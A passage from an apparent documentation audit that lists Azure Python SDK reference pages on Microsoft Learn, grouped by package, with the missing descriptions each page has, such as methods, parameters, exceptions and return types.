Missing Packages and Modules description.
② Section link:

https://learn.microsoft.com/en-us/python/api/azure-batch/azure.batch.custom.patch?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-batch/azure.batch.models.accountlistpoolnodecountsoptions?view=azure-python
Notes: All classes in the model have this issue.

https://learn.microsoft.com/en-us/python/api/azure-batch/azure.batch.batch_auth.sharedkeyauth?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-batch/azure.batch.batch_auth.sharedkeycredentials?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-batch/azure.batch.operations.accountoperations?view=azure-python
Notes: All classes in the model have this issue.

https://learn.microsoft.com/en-us/python/api/azure-batch/azure.batch.batchserviceclientconfiguration?view=azure-python

Picture1:

Picture2:

Picture3:

Reason:
Picture1 - Missing Parameters and Keyword-Only Parameters description.
Picture2 - Missing Methods description.
Picture3 - Missing Type and Description.

Package: azure-ai-contentsafety
Section link:

https://learn.microsoft.com/en-us/python/api/azure-ai-contentsafety/azure.ai.contentsafety.aio.blocklistclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-contentsafety/azure.ai.contentsafety.aio.contentsafetyclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-contentsafety/azure.ai.contentsafety.contentsafetyclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-contentsafety/azure.ai.contentsafety.blocklistclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-contentsafety/azure.ai.contentsafety.models.addorupdatetextblocklistitemsoptions?view=azure-python
Notes: All classes in the model have this issue.

Picture1:

Picture2:

Picture3:

Reason:
Picture1 - Missing Methods description.
Picture2 - Missing Description.
Picture3 - Missing Parameters and Keyword-Only Parameters description.

Package: azure-ai-formrecognizer
Section link:

https://learn.microsoft.com/en-us/python/api/azure-ai-formrecognizer/azure.ai.formrecognizer.aio.asyncdocumentmodeladministrationlropoller?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-formrecognizer/azure.ai.formrecognizer.documentmodeladministrationlropoller?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-formrecognizer/azure.ai.formrecognizer.aio.documentanalysisclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-formrecognizer/azure.ai.formrecognizer.aio.documentmodeladministrationclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-formrecognizer/azure.ai.formrecognizer.aio.formrecognizerclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-formrecognizer/azure.ai.formrecognizer.aio.formtrainingclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-formrecognizer/azure.ai.formrecognizer.documentanalysisclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-formrecognizer/azure.ai.formrecognizer.documentmodeladministrationclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-formrecognizer/azure.ai.formrecognizer.formrecognizerclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-formrecognizer/azure.ai.formrecognizer.formtrainingclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-formrecognizer/azure.ai.formrecognizer.blobfilelistsource?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-formrecognizer/azure.ai.formrecognizer.blobsource?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-formrecognizer/azure.ai.formrecognizer.classifierdocumenttypedetails?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-formrecognizer/azure.ai.formrecognizer.formpagerange?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-formrecognizer/azure.ai.formrecognizer.point?view=azure-python

Picture1:

Picture2:

Picture3:

Reason:
Picture1 - Missing Methods description.
Picture2 - Missing Description.
Picture3 - Missing Parameters and Keyword-Only Parameters description.

Package: azure-ai-language-conversations
① Section link:

https://learn.microsoft.com/en-us/python/api/azure-ai-language-conversations/azure.ai.language.conversations?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-language-conversations/azure.ai.language.conversations.authoring?view=azure-python

Reason:
Missing Packages description.
② Section link:

https://learn.microsoft.com/en-us/python/api/azure-ai-language-conversations/azure.ai.language.conversations.aio.conversationanalysisclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-language-conversations/azure.ai.language.conversations.authoring.conversationauthoringclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-language-conversations/azure.ai.language.conversations.authoring.aio.conversationauthoringclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-language-conversations/azure.ai.language.conversations.conversationanalysisclient?view=azure-python

Picture1:

Picture2:

Reason:
Picture1 - Missing Methods description.
Picture2 - Missing Description.

Package: azure-ai-language-questionanswering
① Section link:

https://learn.microsoft.com/en-us/python/api/azure-ai-language-questionanswering/azure.ai.language.questionanswering?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-language-questionanswering/azure.ai.language.questionanswering.authoring?view=azure-python

Reason:
Missing Packages description.
② Section link:

https://learn.microsoft.com/en-us/python/api/azure-ai-language-questionanswering/azure.ai.language.questionanswering.aio.questionansweringclient?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-ai-language-questionanswering/azure.ai.language.questionanswering.authoring.aio.authoringclient?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-ai-language-questionanswering/azure.ai.language.questionanswering.authoring.authoringclient?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-ai-language-questionanswering/azure.ai.language.questionanswering.models.answerspan?view=azure-python
Notes: All classes in the model have this issue.

https://learn.microsoft.com/en-us/python/api/azure-ai-language-questionanswering/azure.ai.language.questionanswering.questionansweringclient?view=azure-python

Picture1:

Picture2:

Reason:
Picture1 - Missing Methods description.
Picture2 - Missing Type and Description.

Package: azure-ai-textanalytics
① Section link:

https://learn.microsoft.com/en-us/python/api/azure-ai-textanalytics/azure.ai.textanalytics?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-textanalytics/azure.ai.textanalytics.aio?view=azure-python

Reason:
Missing Packages and Classes description.
② Section link:

https://learn.microsoft.com/en-us/python/api/azure-ai-textanalytics/azure.ai.textanalytics.aio.asyncanalyzeactionslropoller?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-textanalytics/azure.ai.textanalytics.aio.asyncanalyzehealthcareentitieslropoller?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-textanalytics/azure.ai.textanalytics.aio.textanalyticsclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-textanalytics/azure.ai.textanalytics.abstractivesummary?view=azure-python
Notes: All classes in the model have this issue.

Picture1:

Picture2:

Picture3:

Reason:
Picture1 - Missing Parameters and Keyword-Only Parameters description.
Picture2 - Missing Exceptions description.
Picture3 - Missing Methods description.

Package: azure-ai-translation-document
Section link:

https://learn.microsoft.com/en-us/python/api/azure-ai-translation-document/azure.ai.translation.document.aio.asyncdocumenttranslationlropoller?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-translation-document/azure.ai.translation.document.aio.documenttranslationclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-translation-document/azure.ai.translation.document.documenttranslationclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-ai-translation-document/azure.ai.translation.document.documenttranslationlropoller?view=azure-python

Picture1:

Picture2:

Reason:
Picture1 - Missing Parameters description.
Picture2 - Missing  Description.

Package: azure-ai-translation-text
① Section link:

https://learn.microsoft.com/en-us/python/api/azure-ai-translation-text/azure.ai.translation.text?view=azure-python

Reason:
Missing Packages description.
② Section link:

https://learn.microsoft.com/en-us/python/api/azure-ai-translation-text/azure.ai.translation.text.aio.texttranslationclient?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-ai-translation-text/azure.ai.translation.text.models.backtranslation?view=azure-python
Notes: All classes in the model have this issue.

https://learn.microsoft.com/en-us/python/api/azure-ai-translation-text/azure.ai.translation.text.texttranslationclient?view=azure-python

Picture1:

Picture2:

Picture3:

Reason:
Picture1 - Missing Methods description.
Picture2 - Missing Parameters and Keyword-Only Parameters description.
Picture3 - Missing Exceptions description.

Package: azure-healthinsights-radiologyinsights
① Section link:

https://learn.microsoft.com/en-us/python/api/azure-healthinsights-radiologyinsights/azure.healthinsights.radiologyinsights?view=azure-python

Reason:
Missing Packages description.
② Section link:

https://learn.microsoft.com/en-us/python/api/azure-healthinsights-radiologyinsights/azure.healthinsights.radiologyinsights.aio.radiologyinsightsclient?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-healthinsights-radiologyinsights/azure.healthinsights.radiologyinsights.models.agemismatchinference?view=azure-python
Notes: All classes in the model have this issue.

https://learn.microsoft.com/en-us/python/api/azure-healthinsights-radiologyinsights/azure.healthinsights.radiologyinsights.radiologyinsightsclient?view=azure-python

Picture1:

Picture2:

Reason:
Picture1 - Missing Methods description.
Picture2 - Missing Parameters description.
③ Section link:

https://learn.microsoft.com/en-us/python/api/azure-healthinsights-radiologyinsights/azure.healthinsights.radiologyinsights.aio.radiologyinsightsclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-healthinsights-radiologyinsights/azure.healthinsights.radiologyinsights.radiologyinsightsclient?view=azure-python

Reason:
Missing Exceptions description.

Package: azure-communication-callautomation
① Section link:

https://learn.microsoft.com/en-us/python/api/azure-communication-callautomation/azure.communication.callautomation?view=azure-python

Reason:
Missing Packages description.
② Section link:

https://learn.microsoft.com/en-us/python/api/azure-communication-callautomation/azure.communication.callautomation.aio.callautomationclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-callautomation/azure.communication.callautomation.aio.callconnectionclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-callautomation/azure.communication.callautomation.callautomationclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-callautomation/azure.communication.callautomation.callconnectionclient?view=azure-python

Picture1:

Picture2:

Reason:
Picture1 - Missing Methods description.
Picture2 - Missing Exceptions description.
③ Section link:

https://learn.microsoft.com/en-us/python/api/azure-communication-callautomation/azure.communication.callautomation.addparticipantresult?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-callautomation/azure.communication.callautomation.azureblobcontainerrecordingstorage?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-callautomation/azure.communication.callautomation.canceladdparticipantoperationresult?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-callautomation/azure.communication.callautomation.recordingproperties?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-callautomation/azure.communication.callautomation.senddtmftonesresult?view=azure-python

Reason:
Missing Parameters and Keyword-Only Parameters description.

Package: azure-communication-chat
① Section link:

https://learn.microsoft.com/en-us/python/api/azure-communication-chat/azure.communication.chat?view=azure-python

Reason:
Missing Packages description.
② Section link:

https://learn.microsoft.com/en-us/python/api/azure-communication-chat/azure.communication.chat.aio.chatclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-chat/azure.communication.chat.aio.chatthreadclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-chat/azure.communication.chat.aio.communicationtokencredential?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-chat/azure.communication.chat.chatclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-chat/azure.communication.chat.chaterror?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-chat/azure.communication.chat.chatthreadclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-chat/azure.communication.chat.chatthreaditem?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-chat/azure.communication.chat.communicationtokencredential?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-chat/azure.communication.chat.communicationuserproperties?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-chat/azure.communication.chat.microsoftteamsappproperties?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-chat/azure.communication.chat.microsoftteamsuserproperties?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-chat/azure.communication.chat.phonenumberproperties?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-chat/azure.communication.chat.sendchatmessageresult?view=azure-python

Picture1:

Picture2:

Reason:
Picture1 - Missing Methods description.
Picture2 - Missing Exceptions description.
③ Section link:

https://learn.microsoft.com/en-us/python/api/azure-communication-chat/azure.communication.chat.communicationuserproperties?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-chat/azure.communication.chat.microsoftteamsappproperties?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-chat/azure.communication.chat.microsoftteamsuserproperties?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-chat/azure.communication.chat.phonenumberproperties?view=azure-python

Reason:
Missing Parameters and Keyword-Only Parameters description.

Package: azure-communication-email
① Section link:

https://learn.microsoft.com/en-us/python/api/azure-communication-email/azure.communication.email?view=azure-python

Reason:
Missing Packages description.
② Section link:

https://learn.microsoft.com/en-us/python/api/azure-communication-email/azure.communication.email.aio.emailclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-email/azure.communication.email.emailclient?view=azure-python

Picture1:

Picture2:

Reason:
Picture1 - Missing Methods description.
Picture2 - Missing Exceptions description.

Package: azure-communication-identity
① Section link:

https://learn.microsoft.com/en-us/python/api/azure-communication-identity/azure.communication.identity?view=azure-python

Reason:
Missing Packages description.
② Section link:

https://learn.microsoft.com/en-us/python/api/azure-communication-identity/azure.communication.identity.communicationuserproperties?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-identity/azure.communication.identity.microsoftteamsappproperties?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-identity/azure.communication.identity.microsoftteamsuserproperties?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-identity/azure.communication.identity.phonenumberproperties?view=azure-python

Picture1:

Picture2:

Reason:
Picture1 - Missing Methods description.
Picture2 - Missing Parameters and Keyword-Only Parameters description.

Package: azure-communication-jobrouter
① Section link:

https://learn.microsoft.com/en-us/python/api/azure-communication-jobrouter/azure.communication.jobrouter?view=azure-python

Reason:
Missing Packages description.
② Section link:

https://learn.microsoft.com/en-us/python/api/azure-communication-jobrouter/azure.communication.jobrouter.aio.jobrouteradministrationclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-jobrouter/azure.communication.jobrouter.aio.jobrouterclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-jobrouter/azure.communication.jobrouter.jobrouteradministrationclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-jobrouter/azure.communication.jobrouter.jobrouterclient?view=azure-python

Picture1:

Picture2:

Reason:
Picture1 - Missing Methods description.
Picture2 - Missing Exceptions description.
③ Section link:

https://learn.microsoft.com/en-us/python/api/azure-communication-jobrouter/azure.communication.jobrouter.models.acceptjobofferresult?view=azure-python
Notes: All classes in the model have this issue.

Picture1:

Picture2:

Reason:
Picture1 - Missing Methods description.
Picture2 - Missing Parameters description.

Package: azure-communication-messages
① Section link:

https://learn.microsoft.com/en-us/python/api/azure-communication-messages/azure.communication.messages?view=azure-python

Reason:
Missing Packages description.
② Section link:

https://learn.microsoft.com/en-us/python/api/azure-communication-messages/azure.communication.messages.aio.messagetemplateclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-messages/azure.communication.messages.aio.notificationmessagesclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-messages/azure.communication.messages.messagetemplateclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-messages/azure.communication.messages.notificationmessagesclient?view=azure-python

Picture1:

Picture2:

Reason:
Picture1 - Missing Methods description.
Picture2 - Missing Exceptions description.
③ Section link:

https://learn.microsoft.com/en-us/python/api/azure-communication-messages/azure.communication.messages.models.audionotificationcontent?view=azure-python
Notes: All classes in the model have this issue.

Picture1:

Picture2:

Reason:
Picture1 - Missing Methods description.
Picture2 - Missing Parameters description.

Package: azure-communication-phonenumbers
① Section link:

https://learn.microsoft.com/en-us/python/api/azure-communication-phonenumbers/azure.communication.phonenumbers?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-phonenumbers/azure.communication.phonenumbers.siprouting?view=azure-python

Reason:
Missing Packages description.
② Section link:

https://learn.microsoft.com/en-us/python/api/azure-communication-phonenumbers/azure.communication.phonenumbers.aio.phonenumbersclient?view=azure-python

Reason:
Missing Parameters and Returns description.
③ Section link:

https://learn.microsoft.com/en-us/python/api/azure-communication-phonenumbers/azure.communication.phonenumbers.siprouting.aio.siproutingclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-phonenumbers/azure.communication.phonenumbers.siprouting.siproutingclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-phonenumbers/azure.communication.phonenumbers.phonenumberadministrativedivision?view=azure-python
Notes: All classes in the model have this issue.

Picture1:

Picture2:

Reason:
Picture1 - Missing Methods description.
Picture2 - Missing Exceptions and Returns description.

Package: azure-communication-rooms
① Section link:

https://learn.microsoft.com/en-us/python/api/azure-communication-rooms/azure.communication.rooms?view=azure-python

Reason:
Missing Packages description.
② Section link:

https://learn.microsoft.com/en-us/python/api/azure-communication-rooms/azure.communication.rooms.aio.roomsclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-rooms/azure.communication.rooms.roomsclient?view=azure-python

Picture1:

Picture2:

Reason:
Picture1 - Missing Parameters description.
Picture2 - Missing Exceptions description.
③ Section link:

https://learn.microsoft.com/en-us/python/api/azure-communication-rooms/azure.communication.rooms.communicationuserproperties?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-rooms/azure.communication.rooms.microsoftteamsappproperties?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-rooms/azure.communication.rooms.microsoftteamsuserproperties?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-communication-rooms/azure.communication.rooms.phonenumberproperties?view=azure-python

Picture1:

Picture2:

Reason:
Picture1 - Missing Methods description.
Picture2 - Missing Parameters and Positional-Only Parameters description.

Package: azure-communication-sms
① Section link:

https://learn.microsoft.com/en-us/python/api/azure-communication-sms/azure.communication.sms?view=azure-python

Reason:
Missing Packages description.
② Section link:
https://learn.microsoft.com/en-us/python/api/azure-communication-sms/azure.communication.sms.smssendresult?view=azure-python
Picture1:

Picture2:

Picture3:

Reason:
Picture1 - Missing Keyword-Only Parameters description.
Picture2 - Missing Methods description.
Picture3 - Missing Returns and Exceptions description.

Package: azure-confidentialledger
① Section link:

https://learn.microsoft.com/en-us/python/api/azure-confidentialledger/azure.confidentialledger?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-confidentialledger/azure.confidentialledger.certificate?view=azure-python

Reason:
Missing Packages description.
② Section link:

https://learn.microsoft.com/en-us/python/api/azure-confidentialledger/azure.confidentialledger.aio.confidentialledgerclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-confidentialledger/azure.confidentialledger.certificate.aio.confidentialledgercertificateclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-confidentialledger/azure.confidentialledger.certificate.confidentialledgercertificateclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-confidentialledger/azure.confidentialledger.confidentialledgerclient?view=azure-python

Picture1:

Picture2:

Reason:
Picture1 - Missing Methods description.
Picture2 - Missing Exceptions description.

Package: azure-containerregistry
① Section link:

https://learn.microsoft.com/en-us/python/api/azure-containerregistry/azure.containerregistry?view=azure-python

Reason:
Missing Packages and Enums description.
② Section link:

https://learn.microsoft.com/en-us/python/api/azure-containerregistry/azure.containerregistry.aio.asyncdownloadblobstream?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-containerregistry/azure.containerregistry.downloadblobstream?view=azure-python

Reason:
Missing Keyword-Only Parameters and Methods description.
③ Section link:

https://learn.microsoft.com/en-us/python/api/azure-containerregistry/azure.containerregistry.aio.containerregistryclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-containerregistry/azure.containerregistry.containerregistryclient?view=azure-python

Picture1:

Picture2:

Picture3:

Reason:
Picture1 - Missing Methods description.
Picture2 - Missing Returns Type.
Picture3 - Missing Exceptions description.

Package: azure-cosmos
① Section link:

https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.scripts?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.documents?view=azure-python

Picture1:

Picture2:

Reason:
Missing Packages and Classes description.
② Section link:

https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.aio.containerproxy?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.aio.scriptsproxy?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.aio.userproxy?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.auth?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.container.containerproxy?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.http_constants.resourcetype?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.partition_key.partitionkey?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.permission.permission?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.scripts.scriptsproxy?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.user.userproxy?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.containerproxy?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.permission(class)?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.scriptsproxy?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.userproxy?view=azure-python

Reason:
Missing Parameters description.
③ Section link:

https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.aio.containerproxy?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.aio.cosmosclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.aio.databaseproxy?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.aio.scriptsproxy?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.aio.userproxy?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.container.containerproxy?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.cosmos_client.cosmosclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.database.databaseproxy?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.scripts.scriptsproxy?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.user.userproxy?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.containerproxy?view=azure-python
Notes: Most of classes in the model have this issue.

Reason:
Missing Returns description.
④ Section link:

https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.documents.userconsistencypolicy?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.partitionkey?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.http_constants.resourcetype?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cosmos/azure.cosmos.partition_key.partitionkey?view=azure-python

Picture1:

Picture2:

Reason:
Picture1 - Missing Methods description.
Picture1 - Missing Positional-Only Parameters and Parameters description.

Package: azure-developer-devcenter
① Section link:

https://learn.microsoft.com/en-us/python/api/azure-developer-devcenter/azure.developer.devcenter?view=azure-python

Reason:
Missing Packages description.
② Section link:

https://learn.microsoft.com/en-us/python/api/azure-developer-devcenter/azure.developer.devcenter.aio.devcenterclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-developer-devcenter/azure.developer.devcenter.devcenterclient?view=azure-python

Picture1:

Picture2:

Reason:
Picture1 - Missing Methods description.
Picture1 - Missing Exceptions description.
③ Section link:

https://learn.microsoft.com/en-us/python/api/azure-developer-devcenter/azure.developer.devcenter.models.catalog?view=azure-python
Notes: All classes in the model have this issue.

Picture1:

Picture2:

Reason:
Picture1 - Missing Methods description.
Picture1 - Missing Parameters description.

Package: azure-cognitiveservices-search-entitysearch
① Section link:

https://learn.microsoft.com/en-us/python/api/azure-cognitiveservices-search-entitysearch/azure.cognitiveservices.search.entitysearch?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-cognitiveservices-search-entitysearch/azure.cognitiveservices.search.entitysearch.models?view=azure-python

Picture1:

Picture2:

Reason:
Picture1 - Missing Packagesdescription.
Picture2 - Missing Enums description.
② Section link:

https://learn.microsoft.com/en-us/python/api/azure-cognitiveservices-search-entitysearch/azure.cognitiveservices.search.entitysearch.models.airport?view=azure-python
Notes: All classes in the model have this issue.

https://learn.microsoft.com/en-us/python/api/azure-cognitiveservices-search-entitysearch/azure.cognitiveservices.search.entitysearch.operations.entitiesoperations?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-cognitiveservices-search-entitysearch/azure.cognitiveservices.search.entitysearch.entitysearchclientconfiguration?view=azure-python

Picture1:

Picture2:

Reason:
Picture1 - Missing Methods description.
Picture1 - Missing Returns Type and Exceptions description.

Package: azure-eventgrid
① Section link:

https://learn.microsoft.com/en-us/python/api/azure-eventgrid/azure.eventgrid?view=azure-python

Picture1:

Picture2:

Reason:
Picture1 - Missing Packages description.
Picture1 - Missing Parameters description.
② Section link:

https://learn.microsoft.com/en-us/python/api/azure-eventgrid/azure.eventgrid.aio.eventgridconsumerclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-eventgrid/azure.eventgrid.aio.eventgridpublisherclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-eventgrid/azure.eventgrid.eventgridconsumerclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-eventgrid/azure.eventgrid.eventgridevent?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-eventgrid/azure.eventgrid.eventgridpublisherclient?view=azure-python

Picture1:

Picture2:

Reason:
Picture1 - Missing Methods description.
Picture1 - Missing Exceptions description.
③ Section link:

https://learn.microsoft.com/en-us/python/api/azure-eventgrid/azure.eventgrid.models.acknowledgeresult?view=azure-python
Notes: All classes in the model have this issue.

Picture1:

Picture2:

Reason:
Picture1 - Missing Methods description.
Picture2 - Missing Parameters description.

Package: azure-eventhub
① Section link:

https://learn.microsoft.com/en-us/python/api/azure-eventhub/azure.eventhub?view=azure-python

Reason:
Missing Packages and Modules description.
② Section link:

https://learn.microsoft.com/en-us/python/api/azure-eventhub/azure.eventhub.aio.checkpointstore?view=azure-python
Notes: All classes in the model have this issue.

https://learn.microsoft.com/en-us/python/api/azure-eventhub/azure.eventhub.amqp.amqpannotatedmessage?view=azure-python
Notes: All classes in the model have this issue.

https://learn.microsoft.com/en-us/python/api/azure-eventhub/azure.eventhub.checkpointstore?view=azure-python
Notes: All classes in the model have this issue.

Reason:
Missing Returns description.
③ Section link:

https://learn.microsoft.com/en-us/python/api/azure-eventhub/azure.eventhub.aio.partitioncontext?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-eventhub/azure.eventhub.aio.eventhubsharedkeycredential?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-eventhub/azure.eventhub.amqp.amqpmessageheader?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-eventhub/azure.eventhub.amqp.amqpmessageproperties?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-eventhub/azure.eventhub.exceptions.authenticationerror?view=azure-python
Notes: All classes in the model have this issue.

https://learn.microsoft.com/en-us/python/api/azure-eventhub/azure.eventhub.eventhubconnectionstringproperties?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-eventhub/azure.eventhub.eventhubsharedkeycredential?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-eventhub/azure.eventhub.partitioncontext?view=azure-python

Picture1:

Picture2

Reason:
Picture1 - Missing Parameters description.
Picture2 - Missing Methods description.

Package: azure-eventhub-checkpointstoreblob
Section link:

https://learn.microsoft.com/en-us/python/api/azure-eventhub-checkpointstoreblob/azure.eventhub.extensions.checkpointstoreblob.blobcheckpointstore?view=azure-python

Picture1:

Picture2:

Reason:
Picture1 - Missing Parameters and Methods description.
Picture2 - Missing Returns description.

Package: azure-eventhub-checkpointstoreblob-aio
Section link:

https://learn.microsoft.com/en-us/python/api/azure-eventhub-checkpointstoreblob-aio/azure.eventhub.extensions.checkpointstoreblobaio.blobcheckpointstore?view=azure-python

Picture1:

Picture2:

Reason:
Picture1 - Missing Keyword-Only Parameters description.
Picture2 - Missing Returns description.

Package: azure-functions
① Section link:

https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.blob?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.cosmosdb?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.durable_functions?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.eventgrid?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.eventhub?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.http?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.kafka?view=azure-python
